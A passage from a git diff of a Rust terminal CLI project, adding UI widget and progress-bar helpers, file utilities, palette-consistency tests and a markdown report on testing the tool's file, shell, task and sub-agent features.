wrap_input_lines(input, width); + let (cursor_row, _) = cursor_row_col(input, input.chars().count(), width); + + // Cursor at end should be on the last line (or wrapped past it) + assert!( + cursor_row <= lines.len(), + "cursor_row={cursor_row} should be <= lines.len()={} for input={input:?}", + lines.len() + ); + } + } +} diff --git a/src/tui/widgets/renderable.rs b/src/tui/widgets/renderable.rs new file mode 100644 index 00000000..6c166d67 --- /dev/null +++ b/src/tui/widgets/renderable.rs @@ -0,0 +1,9 @@ +use ratatui::{buffer::Buffer, layout::Rect}; + +pub trait Renderable { + fn render(&self, area: Rect, buf: &mut Buffer); + fn desired_height(&self, width: u16) -> u16; + fn cursor_pos(&self, _area: Rect) -> Option<(u16, u16)> { + None + } +} diff --git a/src/ui.rs b/src/ui.rs new file mode 100644 index 00000000..5c98a46e --- /dev/null +++ b/src/ui.rs @@ -0,0 +1,30 @@ +//! Terminal UI helpers (progress bars, spinners). + +use indicatif::{ProgressBar, ProgressStyle}; + +/// Create a spinner progress indicator. +#[must_use] +#[allow(dead_code)] +pub fn spinner(message: &str) -> ProgressBar { + let spinner = ProgressBar::new_spinner(); + spinner.set_message(message.to_string()); + spinner.set_style( + ProgressStyle::with_template("{spinner} {msg}") + .unwrap_or_else(|_| ProgressStyle::default_spinner()), + ); + spinner.enable_steady_tick(std::time::Duration::from_millis(120)); + spinner +} + +/// Create a progress bar for byte-based transfers. +#[must_use] +#[allow(dead_code)] +pub fn progress_bar(total: u64, message: &str) -> ProgressBar { + let bar = ProgressBar::new(total); + bar.set_message(message.to_string()); + bar.set_style( + ProgressStyle::with_template("{msg} [{bar:40.cyan/blue}] {bytes}/{total_bytes} ({eta})") + .unwrap_or_else(|_| ProgressStyle::default_bar()), + ); + bar +} diff --git a/src/utils.rs b/src/utils.rs new file mode 100644 index 00000000..77e8def1 --- /dev/null +++ b/src/utils.rs @@ -0,0 +1,90 @@ +//! Utility helpers shared across the `DeepSeek` CLI. + +use std::fs; +use std::path::{Path, PathBuf}; +use std::time::{SystemTime, UNIX_EPOCH}; + +use crate::models::{ContentBlock, Message}; +use anyhow::{Context, Result}; +use serde_json::Value; + +// === Filesystem Helpers === + +#[allow(dead_code)] +pub fn ensure_dir(path: &Path) -> Result<()> { + fs::create_dir_all(path) + .with_context(|| format!("Failed to create directory: {}", path.display())) +} + +#[allow(dead_code)] +pub fn write_bytes(path: &Path, bytes: &[u8]) -> Result<()> { + if let Some(parent) = path.parent() { + ensure_dir(parent)?; + } + fs::write(path, bytes).with_context(|| format!("Failed to write {}", path.display())) +} + +/// Create a timestamped filename for generated assets. +#[must_use] +#[allow(dead_code)] +pub fn timestamped_filename(prefix: &str, extension: &str) -> String { + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + format!("{prefix}_{now}.{extension}") +} + +/// Render JSON with pretty formatting, falling back to a compact string on error. +#[must_use] +#[allow(dead_code)] +pub fn pretty_json(value: &Value) -> String { + serde_json::to_string_pretty(value).unwrap_or_else(|_| value.to_string()) +} + +/// Extract a lowercase file extension from a URL, if present. +#[must_use] +#[allow(dead_code)] +pub fn extension_from_url(url: &str) -> Option { + let path = url.split('?').next().unwrap_or(url); + let ext = Path::new(path) + .extension() + .and_then(|ext| ext.to_str()) + .map(str::to_lowercase); + ext.filter(|e| !e.is_empty()) +} + +/// Build an output path within the given directory. +#[must_use] +#[allow(dead_code)] +pub fn output_path(output_dir: &Path, filename: &str) -> PathBuf { + output_dir.join(filename) +} + +/// Truncate a string to a maximum length, adding an ellipsis if truncated +#[must_use] +pub fn truncate_with_ellipsis(s: &str, max_len: usize, ellipsis: &str) -> String { + if s.len() <= max_len { + s.to_string() + } else { + let truncate_at = max_len.saturating_sub(ellipsis.len()); + format!("{}{}", &s[..truncate_at], ellipsis) + } +} + +/// Estimate the total character count across message content blocks. +#[must_use] +pub fn estimate_message_chars(messages: &[Message]) -> usize { + let mut total = 0; + for msg in messages { + for block in &msg.content { + match block { + ContentBlock::Text { text, .. } => total += text.len(), + ContentBlock::Thinking { thinking } => total += thinking.len(), + ContentBlock::ToolUse { input, .. } => total += input.to_string().len(), + ContentBlock::ToolResult { content, .. } => total += content.len(), + } + } + } + total +} diff --git a/tests/palette_audit.rs b/tests/palette_audit.rs new file mode 100644 index 00000000..488999e1 --- /dev/null +++ b/tests/palette_audit.rs @@ -0,0 +1,115 @@ +//! Palette audit tests to prevent color drift. +//! +//! These tests ensure that deprecated colors (like DEEPSEEK_AQUA) are not used +//! directly in user-visible code. The palette should only use DeepSeek brand +//! colors: blue, sky, red (plus neutral shades). + +use std::fs; +use std::path::Path; + +/// Colors that should not be used directly in TUI code. +/// Use semantic aliases (STATUS_SUCCESS, STATUS_WARNING, etc.) instead. +const DEPRECATED_DIRECT_COLORS: &[&str] = &["DEEPSEEK_AQUA"]; + +/// Patterns that indicate proper usage (in palette.rs definitions) +const ALLOWED_PATTERNS: &[&str] = &["pub const DEEPSEEK_AQUA", "DEEPSEEK_AQUA_RGB"]; + +/// Audit a single file for deprecated color usage. +fn audit_file(path: &Path, violations: &mut Vec) { + let content = match fs::read_to_string(path) { + Ok(c) => c, + Err(_) => return, + }; + + for (line_num, line) in content.lines().enumerate() { + for deprecated in DEPRECATED_DIRECT_COLORS { + // Check for palette::DEPRECATED usage + let pattern = format!("palette::{}", deprecated); + if line.contains(&pattern) { + // Skip if this is an allowed pattern (definition) + let is_allowed = ALLOWED_PATTERNS.iter().any(|p| line.contains(p)); + if !is_allowed { + violations.push(format!( + "{}:{}: direct use of {} (use semantic alias instead)", + path.display(), + line_num + 1, + deprecated + )); + } + } + } + } +} + +/// Recursively audit a directory for deprecated color usage. +fn audit_directory(dir: &Path, violations: &mut Vec) { + let entries = match fs::read_dir(dir) { + Ok(e) => e, + Err(_) => return, + }; + + for entry in entries.flatten() { + let path = entry.path(); + if path.is_dir() { + audit_directory(&path, violations); + } else if path.extension().is_some_and(|e| e == "rs") { + // Skip palette.rs itself (where colors are defined) + if path.file_name().is_some_and(|n| n == "palette.rs") { + continue; + } + audit_file(&path, violations); + } + } +} + +#[test] +fn audit_no_direct_aqua_usage() { + let manifest_dir = env!("CARGO_MANIFEST_DIR"); + let src_dir = Path::new(manifest_dir).join("src"); + let mut violations = Vec::new(); + + audit_directory(&src_dir, &mut violations); + + if !violations.is_empty() { + let report = violations.join("\n"); + panic!( + "Palette audit failed! Found {} direct uses of deprecated colors:\n{}", + violations.len(), + report + ); + } +} + +#[test] +fn verify_status_success_uses_sky() { + let manifest_dir = env!("CARGO_MANIFEST_DIR"); + let palette_path = Path::new(manifest_dir).join("src/palette.rs"); + let content = fs::read_to_string(&palette_path).expect("Failed to read palette.rs"); + + // Verify STATUS_SUCCESS is set to DEEPSEEK_SKY + assert!( + content.contains("pub const STATUS_SUCCESS: Color = DEEPSEEK_SKY;"), + "STATUS_SUCCESS should use DEEPSEEK_SKY, not DEEPSEEK_AQUA" + ); +} + +#[test] +fn verify_brand_colors_defined() { + let manifest_dir = env!("CARGO_MANIFEST_DIR"); + let palette_path = Path::new(manifest_dir).join("src/palette.rs"); + let content = fs::read_to_string(&palette_path).expect("Failed to read palette.rs"); + + // Verify primary brand colors are defined (check for the constant names with values) + assert!( + content.contains("DEEPSEEK_BLUE_RGB: (u8, u8, u8) = (53, 120, 229);"), + "DEEPSEEK_BLUE should be #3578E5" + ); + assert!( + content.contains("DEEPSEEK_SKY_RGB: (u8, u8, u8) = (106, 174, 242);"), + "DEEPSEEK_SKY should be #6AAEF2" + ); + assert!( + content.contains("DEEPSEEK_RED_RGB: (u8, u8, u8) = (226, 80, 96);"), + "DEEPSEEK_RED should be #E25060" + ); +} diff --git a/tool_test_report.md b/tool_test_report.md new file mode 100644 index 00000000..b801a9a2 --- /dev/null +++ b/tool_test_report.md @@ -0,0 +1,114 @@ +# Tool Testing Report + +## Overview +Systematic test of all available tools in DeepSeek CLI TUI environment. Testing performed on `deepseek-cli` project in directory `/Volumes/VIXinSSD/deepseek-cli/`. + +## Tools Tested and Results + +### FILE OPERATIONS + +1. **list_dir** + - **Status**: ✅ Working + - **Test**: Listed root directory and `src/` subdirectory + - **Output**: Returned structured directory listing with file/directory metadata + +2. **read_file** + - **Status**: ✅ Working + - **Test**: Read `Cargo.toml` file + - **Output**: Successfully returned file contents + +3. **write_file** + - **Status**: ✅ Working + - **Test**: Created `test_tool_check.txt` with sample content + - **Output**: File created successfully, verified with subsequent read + +4. **edit_file** + - **Status**: ✅ Working + - **Test**: Modified `test_tool_check.txt` (changed "testing" to "edited") + - **Output**: File updated successfully, changes verified + +5. **apply_patch** + - **Status**: ✅ Working + - **Test**: Applied unified diff patch to `test_tool_check.txt` + - **Output**: Patch applied successfully, new line added + +6. **grep_files** + - **Status**: ✅ Working + - **Test**: Searched for "Patch applied successfully." across workspace + - **Output**: Found exact match in test file with context lines + +7. **web_search** + - **Status**: ✅ Working + - **Test**: Searched for "DeepSeek AI" + - **Output**: Returned relevant search results with titles and snippets + +### SHELL EXECUTION + +8. **exec_shell** (foreground) + - **Status**: ✅ Working + - **Test**: Executed `echo "Hello World"` and `ls -la` + - **Output**: Commands executed with proper stdout/stderr capture + +9. **exec_shell** (background) + - **Status**: ✅ Working + - **Test**: Executed `sleep 60` with `background: true` + - **Output**: Returned immediate `task_id` for background task management + +### TASK MANAGEMENT + +10. **todo_write** + - **Status**: ✅ Working + - **Test**: Created comprehensive 14-item todo list + - **Output**: List stored and retrievable via todo_list + +11. **update_plan** + - **Status**: ✅ Working + - **Test**: Created structured implementation plan with 4 steps + - **Output**: Plan steps tracked with status updates + +12. **note** + - **Status**: ✅ Working + - **Test**: Appended test note to agent notes system + - **Output**: Note operation completed successfully + +### SUB-AGENTS + +13. **agent_spawn** + - **Status**: ✅ Working + - **Test**: Spawned general agent (task: list files) and custom agent + - **Output**: Agent IDs returned immediately + +14. **agent_result** + - **Status**: ✅ Working + - **Test**: Retrieved results from spawned general agent + - **Output**: Agent completed task, returned directory listing + +15. **agent_list** + - **Status**: ✅ Working + - **Test**: Listed all active/completed agents + - **Output**: Showed agent statuses and creation times + +16. **agent_cancel** + - **Status**: ✅ Working + - **Test**: Cancelled a running custom agent + - **Output**: Agent cancellation confirmed + +## Test Coverage + +- **Total tools tested**: 16/16 +- **All tools functional**: Yes +- **No errors encountered**: All operations succeeded +- **Edge cases tested**: File creation, editing, patching, searching, background tasks, agent cancellation + +## Environment Details + +- **Project**: deepseek-cli (Rust CLI application) +- **Workspace**: `/Volumes/VIXinSSD/deepseek-cli/` +- **Test artifacts**: `test_tool_check.txt`, `tool_test_report.md` +- **Testing approach**: Sequential verification with todo tracking + +## Conclusion + +All available tools in the DeepSeek CLI TUI environment are fully functional. The testing methodology used a structured todo system to ensure comprehensive coverage of each tool category. The agent system, file operations, shell execution, and task management tools all performed as expected. + +**Final status**: ✅ All tools working correctly \ No newline at end of file